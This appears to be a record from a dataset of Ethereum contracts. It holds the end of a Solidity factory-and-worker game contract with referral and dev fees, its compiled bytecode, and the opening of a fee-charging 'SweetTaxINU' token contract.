Inviter.transfer(fee);
} else {
//no inviter, dev fee - 10%
fee = fee.mul(2);
}
// dev fee
owner.transfer(fee);
if (WorkerFactory[msg.sender] > 0)
getWorkerProfit();
uint8 oldQualification = WorkerQualification[msg.sender];
uint256 WorkerFactoryID = WorkerFactory[msg.sender];
if (WorkerQualification[msg.sender]==0)
WorkerQualification[msg.sender]=2;
else
WorkerQualification[msg.sender]++;
if (WorkerFactoryID > 0) {
getFactoryProfit(WorkerFactoryID, FactoryOwner[WorkerFactoryID]);
FactoryPersonal[WorkerFactoryID][oldQualification]--;
if (FactoryLevel[WorkerFactoryID] >= oldQualification+1) {
FactoryPersonal[WorkerFactoryID][oldQualification+1]++;
} else {
//will unemployed
WorkerFactory[msg.sender] = 0;
}
}
}
function getFactoryPrice() internal view returns (uint256 price) {
if (now - presellStart >= 604800)
price = 0.1 ether;
else
price = 0.075 ether;
}
//views
function allFactories() public constant returns(address[] owner, uint256[] profitMinutes, uint256[] price, uint8[] level) {
//FactoryID is count of factories
price = new uint256[](FactoryID);
profitMinutes = new uint256[](FactoryID);
owner = new address[](FactoryID);
level = new uint8[](FactoryID);
for (uint256 index=1; index<=FactoryID; index++) {
price[index-1] = FactoryPrice[index];
profitMinutes[index-1] = uint256(SafeMath.div(now - FactoryWorkStart[index],60));
owner[index-1] = FactoryOwner[index];
level[index-1] = FactoryLevel[index];
}
}
function aboutFactoryWorkers(uint256 _FactoryID) public constant returns(uint256[] workers, string factoryName) {
uint8 factoryLevel = FactoryLevel[_FactoryID];
factoryName = FactoryName[_FactoryID];
workers = new uint256[](factoryLevel+1);
for (uint8 qualification=1; qualification<=factoryLevel; qualification++)
workers[qualification] = FactoryPersonal[_FactoryID][qualification];
}
function aboutWorker(address _worker) public constant returns(uint8 qualification, uint256 factoryId, uint256 profitMinutes, uint8 factoryLevel) {
qualification = WorkerQualification[_worker];
if (qualification==0)
qualification=1;
factoryId = WorkerFactory[_worker];
factoryLevel = FactoryLevel[factoryId];
profitMinutes = uint256(SafeMath.div(now - WorkerWorkStart[_worker],60));
}
function contractBalance() public constant returns(uint256 ethBalance) {
ethBalance = address(this).balance;
}
}
|
0x60806040526004361061016a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461016f57806318160ddd146101ff578063313ce5671461022a57806336304e911461025b578063387d38211461039f5780633ccd1c7f146103d657806343385044146104235780634a63f8a41461047a5780634f4d022b146104a557806358acf31b146104bc578063687a46c4146104e95780636c11bcd31461050957806370a082311461053657806373f284511461058d57806376e608c7146105d4578063865eb3d3146105f45780638b7afe2e1461060b5780638da5cb5b1461063657806395d89b411461068d578063a4d755ff1461071d578063a9059cbb14610790578063ad72dce9146107f5578063bf29a85414610822578063d0febe4c14610910578063deb5d6c21461091a578063f14b1c0114610931578063f2fde38b14610951578063f474b6b214610994575b600080fd5b34801561017b57600080fd5b50610184610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c45780820151818401526020810190506101a9565b50505050905090810190601f1680156101f15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020b57600080fd5b50610214610a45565b6040518082815260200191505060405180910390f35b34801561023657600080fd5b5061023f610a4f565b604051808260ff1660ff16815260200191505060405180910390f35b34801561026757600080fd5b50610270610a54565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156102bf5780820151818401526020810190506102a4565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156103015780820151818401526020810190506102e6565b50505050905001858103835287818151815260200191508051906020019060200280838360005b83811015610343578082015181840152602081019050610328565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561038557808201518184015260208101905061036a565b505050509050019850505050505050505060405180910390f35b3480156103ab57600080fd5b506103d46004803603810190808035906020019092919080359060200190929190505050610c8b565b005b3480156103e257600080fd5b5061042160048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dae565b005b34801561042f57600080fd5b50610464600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f26565b6040518082815260200191505060405180910390f35b34801561048657600080fd5b5061048f610f3e565b6040518082815260200191505060405180910390f35b3480156104b157600080fd5b506104ba610f64565b005b3480156104c857600080fd5b506104e760048036038101908080359060200190929190505050611381565b005b610507600480360381019080803590602001909291905050506117a7565b005b34801561051557600080fd5b5061053460048036038101908080359060200190929190505050611cba565b005b34801561054257600080fd5b50610577600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611de3565b6040518082815260200191505060405180910390f35b34801561059957600080fd5b506105a2611e2b565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b6105f260048036038101908080359060200190929190505050611ebf565b005b34801561060057600080fd5b50610609612182565b005b34801561061757600080fd5b5061062061230b565b6040518082815260200191505060405180910390f35b34801561064257600080fd5b5061064b61232a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561069957600080fd5b506106a2612350565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106e25780820151818401526020810190506106c7565b50505050905090810190601f16801561070f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561072957600080fd5b5061078e60048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612389565b005b34801561079c57600080fd5b506107db600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612433565b604051808215151515815260200191505060405180910390f35b610820600480360381019080803560ff16906020019092919080359060200190929190505050612652565b005b34801561082e57600080fd5b5061084d600480360381019080803590602001909291905050506128cd565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015610894578082015181840152602081019050610879565b50505050905001838103825284818151815260200191508051906020019080838360005b838110156108d35780820151818401526020810190506108b8565b50505050905090810190601f1680156109005780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b610918612a4e565b005b34801561092657600080fd5b5061092f612bda565b005b61094f60048036038101908080359060200190929190505050612d0f565b005b34801561095d57600080fd5b50610992600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ebb565b005b3480156109a057600080fd5b506109d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613013565b604051808560ff1660ff1681526020018481526020018381526020018260ff1660ff16815260200194505050505060405180910390f35b6040805190810160405280601181526020017f4574686572466163746f7279546f6b656e00000000000000000000000000000081525081565b6000600154905090565b600081565b6060806060806000601054604051908082528060200260200182016040528015610a8d5781602001602082028038833980820191505090505b509250601054604051908082528060200260200182016040528015610ac15781602001602082028038833980820191505090505b509350601054604051908082528060200260200182016040528015610af55781602001602082028038833980820191505090505b509450601054604051908082528060200260200182016040528015610b295781602001602082028038833980820191505090505b509150600190505b60105481111515610c8457600b6000828152602001908152602001600020548360018303815181101515610b6157fe5b9060200190602002018181525050610b8f60096000838152602001908152602001600020544203603c613133565b8460018303815181101515610ba057fe5b90602001906020020181815250506008600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168560018303815181101515610bf357fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a600082815260200190815260200160002060009054906101000a900460ff168260018303815181101515610c6157fe5b9060200190602002019060ff16908160ff16815250508080600101915050610b31565b5090919293565b600062093a80600354420310151515610ca357600080fd5b642e90edd00090503373ffffffffffffffffffffffffffffffffffffffff166008600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610d1857600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610d665750600082115b1515610d7157600080fd5b808202600b60008581526020019081526020016000205401600b600085815260200190815260200160002081905550610da982613149565b505050565b600080600062093a80600354420310151515610dc957600080fd5b8373ffffffffffffffffffffffffffffffffffffffff166008600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610e3657600080fd5b610e5d610e56426009600089815260200190815260200160002054613301565b603c613133565b92506000831115610f1f5760009150600190505b600a600086815260200190815260200160002060009054906101000a900460ff1660ff168160ff16111515610ef157610ee0610eb08260ff168561331a565b6007600088815260200190815260200160002060008460ff1660ff1681526020019081526020016000205461331a565b820191508080600101915050610e71565b6000821115610f1e57610f048483613355565b504260096000878152602001908152602001600020819055505b5b5050505050565b60056020528060005260406000206000915090505481565b6000610f5f610f586003544261330190919063ffffffff16565b603c613133565b905090565b600080600062093a80600354420310151515610f7f57600080fd5b6064600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16101515610fdd57600080fd5b6127109250826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561102f57600080fd5b6000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156110805761107f612182565b5b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169150600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614156111c7576002600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff160217905550611237565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081819054906101000a900460ff168092919060010191906101000a81548160ff021916908360ff160217905550505b60008111156113735761127d816008600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610dae565b6007600082815260200190815260200160002060008360ff1660ff16815260200190815260200160002060008154809291906001900391905055506001820160ff16600a600083815260200190815260200160002060009054906101000a900460ff1660ff1610151561132c576007600082815260200190815260200160002060006001840160ff1660ff16815260200190815260200160002060008154809291906001019190505550611372565b6000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b61137c83613149565b505050565b600062093a8060035442031015151561139957600080fd5b81600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141515156113e757600080fd5b6000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161415611499576001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690508060ff16600a600084815260200190815260200160002060009054906101000a900460ff1660ff161015151561151d57600080fd5b60646007600084815260200190815260200160002060008360ff1660ff1681526020019081526020016000205410151561155657600080fd5b6000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156115e8576115db826008600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610dae565b6115e3612182565b61162d565b42600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156116f05760076000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815260200190815260200160002060008260ff1660ff16815260200190815260200160002060008154809291906001900391905055505b81600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506007600083815260200190815260200160002060008260ff1660ff168152602001908152602001600020600081548092919060010191905055506000600960008481526020019081526020016000205414156117a3574260096000848152602001908152602001600020819055505b5050565b6000806000806064600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1610151561180b57600080fd5b61181d6118166134c3565b6064613133565b3414151561182a57600080fd5b611835346014613133565b93506004600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415156118ef578273ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f193505050501580156118e9573d6000803e3d6000fd5b50611906565b61190360028561331a90919063ffffffff16565b93505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f1935050505015801561196e573d6000803e3d6000fd5b506000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156119c0576119bf612182565b5b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169150600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161415611b07576002600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff160217905550611b77565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081819054906101000a900460ff168092919060010191906101000a81548160ff021916908360ff160217905550505b6000811115611cb357611bbd816008600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610dae565b6007600082815260200190815260200160002060008360ff1660ff16815260200190815260200160002060008154809291906001900391905055506001820160ff16600a600083815260200190815260200160002060009054906101000a900460ff1660ff16101515611c6c576007600082815260200190815260200160002060006001840160ff1660ff16815260200190815260200160002060008154809291906001019190505550611cb2565b6000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5050505050565b60008060008062093a80600354420310151515611cd657600080fd5b846000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611d245750600085115b1515611d2f57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16319350600084111515611d5857600080fd5b611d60610a45565b9250611d75838561313390919063ffffffff16565b9150611d8a858361331a90919063ffffffff16565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611dd2573d6000803e3d6000fd5b50611ddc85613149565b5050505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806000806000611e3c33611de3565b9350611e46610a45565b92503073ffffffffffffffffffffffffffffffffffffffff16319150611e75838361313390919063ffffffff16565b94506000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509091929394565b6000806000806008600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f6457503373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611f9d5750600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1515611fa857600080fd5b600b6000868152602001908152602001600020549250823410151515611fcd57600080fd5b336008600087815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061203461202d84600961331a565b600a613133565b915061204b61204484600561331a565b6064613133565b905061206261205b84600361331a565b6002613133565b600b6000878152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156120bf573d6000803e3d6000fd5b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612128573d6000803e3d6000fd5b508234111561217b573373ffffffffffffffffffffffffffffffffffffffff166108fc8434039081150290604051600060405180830381858888f19350505050158015612179573d6000803e3d6000fd5b505b5050505050565b600080600062093a8060035442031015151561219d57600080fd5b6000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156121eb57600080fd5b61223e61223742600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613301565b603c613133565b9250600083111561230657600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1691506122a58260ff168461331a565b90506000811115156122b657600080fd5b6122c03382613355565b5042600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f454654000000000000000000000000000000000000000000000000000000000081525081565b3373ffffffffffffffffffffffffffffffffffffffff166008600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156123f657600080fd5b603281511115151561240757600080fd5b80600c6000848152602001908152602001600020908051906020019061242e929190613731565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561247057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156124bd57600080fd5b61250e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461330190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125a1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000806000808560ff1611801561266d575060648560ff1611155b151561267857600080fd5b6126956126836134c3565b8660ff1661331a90919063ffffffff16565b925082341415156126a557600080fd5b6010600081548092919060010191905055503360086000601054815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600a6000601054815260200190815260200160002060006101000a81548160ff021916908360ff16021790555061274e670214e8348c4f00008660ff1661331a565b600b60006010548152602001908152602001600020819055506127803061277b620f42408860ff1661331a565b613355565b506004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691506127c2346014613133565b9050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515612846578173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612840573d6000803e3d6000fd5b5061285d565b61285a60028261331a90919063ffffffff16565b90505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156128c5573d6000803e3d6000fd5b505050505050565b606080600080600a600086815260200190815260200160002060009054906101000a900460ff169150600c60008681526020019081526020016000208054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561299d5780601f106129725761010080835404028352916020019161299d565b820191906000526020600020905b81548152906001019060200180831161298057829003601f168201915b505050505092506001820160ff166040519080825280602002602001820160405280156129d95781602001602082028038833980820191505090505b509350600190505b8160ff168160ff16111515612a47576007600086815260200190815260200160002060008260ff1660ff16815260200190815260200160002054848260ff16815181101515612a2c57fe5b906020019060200201818152505080806001019150506129e1565b5050915091565b600080600080600080600062093a80600354420310151515612a6f57600080fd5b349650600034111515612a8157600080fd5b6000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549550612ae33073ffffffffffffffffffffffffffffffffffffffff163134613301565b945067016345785d8a0000851015612b015767016345785d8a000094505b612b09610a45565b9350612b1e848661313390919063ffffffff16565b9250612b33838861313390919063ffffffff16565b9150858211158015612b455750600082115b1515612b5057600080fd5b612b5a3383613512565b50612b6634600a613133565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612bd0573d6000803e3d6000fd5b5050505050505050565b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015612c5657506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515612c6157600080fd5b6006600081548092919060010191905055503360046000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600654600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b60003373ffffffffffffffffffffffffffffffffffffffff166008600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515612d7e57600080fd5b6064600a600084815260200190815260200160002060009054906101000a900460ff1660ff16101515612db057600080fd5b612db86134c3565b34141515612dc557600080fd5b600a6000838152602001908152602001600020600081819054906101000a900460ff168092919060010191906101000a81548160ff021916908360ff16021790555050670214e8348c4f0000600b6000601054815260200190815260200160002060008282540192505081905550612e4030620f4240613355565b50612e4c34600a613133565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612eb6573d6000803e3d6000fd5b505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612f1757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612f5357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600080600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16935060008460ff16141561307957600193505b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549250600a600084815260200190815260200160002060009054906101000a900460ff16905061312a600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544203603c613133565b91509193509193565b6000818381151561314057fe5b04905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561319857600080fd5b3390506131ec826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461330190919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132438260015461330190919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600082821115151561330f57fe5b818303905092915050565b600080600084141561332f576000915061334e565b828402905082848281151561334057fe5b0414151561334a57fe5b8091505b5092915050565b600061336c826001546134f490919063ffffffff16565b6001819055506133c3826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600062093a8060035442031015156134e55767016345785d8a000090506134f1565b67010a741a4627800090505b90565b600080828401905083811015151561350857fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561354f57600080fd5b6000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561359c57600080fd5b6135ed826000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461330190919063ffffffff16565b6000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613680826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061377257805160ff19168380011785556137a0565b828001600101855582156137a0579182015b8281111561379f578251825591602001919060010190613784565b5b5090506137ad91906137b1565b5090565b6137d391905b808211156137cf5760008160009055506001016137b7565b5090565b905600a165627a7a7230582057b769d259f4d8ead8071e2691a151c482152b557b32fea2900c2c2ac2fda58d0029
|
{"success": true, "error": null, "results": {}}
| 9,437 |
0x97f10503ab5f5ab94260ecb76fa7ddb35bbd6a3e
|
/**
*/
//SPDX-License-Identifier: UNLICENSED
//TG: https://t.me/sweettaxinu
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SweetTaxINU is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1000000 * 10**9;
string public constant name = unicode"SweetTaxINU";
string public constant symbol = unicode"SweetTaxINU";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 4;
uint public _sellFee = 8;
uint private _feeRate = 14;
uint public _maxBuyTokens;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
